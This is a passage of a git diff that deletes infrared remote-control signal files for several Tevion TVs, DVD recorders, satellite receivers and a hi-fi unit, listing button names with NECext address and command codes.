-# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir deleted file mode 100644 index 153a49f52..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: rose -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 00 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 00 00 00 00 -# -name: aspect -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 01 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 02 00 00 00 -# -name: ent -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 04 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 09 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 11 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 13 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 15 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 16 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 18 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 1D 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 1F 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 42 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 43 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 44 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 47 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 48 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 49 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 4C 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 4D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 51 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 52 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 53 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 55 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 59 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir deleted file mode 100644 index 508ec417c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 09 00 00 00 -# -name: vtdispin -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 0F 00 00 00 -# -name: vttvmix -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1C 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1D 00 00 00 -# -name: prg+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1E 00 00 00 -# -name: prg- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1F 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 20 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 21 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 28 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 29 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 2A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 30 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 31 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 37 00 00 00 -# -name: vtstop -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 3B 00 00 00 -# -name: vton -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 54 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 5C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 83 00 00 00 -# -name: vtoff -type: parsed -protocol: NECext -address: 30 00 00 00 -command: CF 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 30 00 00 00 -command: EE 00 00 00 -# -name: pink -type: parsed -protocol: NECext -address: 30 00 00 00 -command: F7 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 30 00 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir deleted file mode 100644 index 09e811f4d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 04 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 06 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 07 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0C 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0E 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0F 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 13 00 00 00 -# -name: MEMORY/CLOCK -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 14 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1B 00 00 00 -# -name: M-UP/REPEAT -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1C 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1D 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1E 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 20 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 60 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: A0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir deleted file mode 100644 index bffb8cae5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 09 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0A 00 00 00 -# -name: disc -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0F 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 10 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 13 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 15 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 16 00 00 00 -# -name: track- -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 17 00 00 00 -# -name: track+ -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 18 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 19 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 1A 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 1B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 1C 00 00 00 -# -name: audioeq -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 1D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 1E 00 00 00 -# -name: progressive -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 1F 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 2E 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir deleted file mode 100644 index 476fa59bd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: WHITE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 14 00 00 00 -# -name: Alt -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 16 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 18 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: Browse -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: Freeze -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: TV/Radio -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2F 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir deleted file mode 100644 index 2476dc72a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir +++ /dev/null @@ -1,344 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DV/USB -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 00 00 00 00 -# -name: HDD/Dub -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 01 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 02 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 03 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 07 00 00 00 -# -name: Quality -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 08 00 00 00 -# -name: Erase -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 09 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 0A 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 0B 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 0C 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 0D 00 00 00 -# -name: PS/IS -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 0E 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 10 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 11 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 12 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 14 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 15 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 16 00 00 00 -# -name: Up_Arrow -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 17 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 18 00 00 00 -# -name: FB -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 19 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 1A 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 1B 00 00 00 -# -name: Sort/Slow -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 1C 00 00 00 -# -name: Program -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 1D 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 1E 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 1F 00 00 00 -# -name: TimeShift -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 40 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 41 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 42 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 43 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 45 00 00 00 -# -name: Disc_OP -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 46 00 00 00 -# -name: Finalize -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 48 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 49 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 4A 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 4B 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 4C 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 4D 00 00 00 -# -name: Right_Arrow -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 4E 00 00 00 -# -name: Add/Clear -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 4F 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 51 00 00 00 -# -name: Down_Arrow -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 52 00 00 00 -# -name: Pause/Step -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 54 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 55 00 00 00 -# -name: Left_Arrow -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 56 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 57 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 58 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 59 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 5A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 5B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 5C 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 5D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 5E 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir deleted file mode 100644 index 1778b95cd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir +++ /dev/null @@ -1,332 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 00 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 01 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 02 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 03 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 07 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 08 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 09 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 0A 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 0B 00 00 00 -# -name: GoTo -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 0C 00 00 00 -# -name: PS/IS -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 0D 00 00 00 -# -name: Scan -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 0E 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 0F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 10 00 00 00 -# -name: Pause/Step -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 11 00 00 00 -# -name: DiskOper -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 14 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 15 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 16 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 17 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 19 00 00 00 -# -name: Nav -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 1A 00 00 00 -# -name: AddClear -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 1B 00 00 00 -# -name: Erase -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 1C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 1E 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 1F 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 40 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 41 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 42 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 43 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 45 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 46 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 48 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 49 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 4A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 4B 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 4C 00 00 00 -# -name: DV -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 4D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 4E 00 00 00 -# -name: Prog -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 4F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 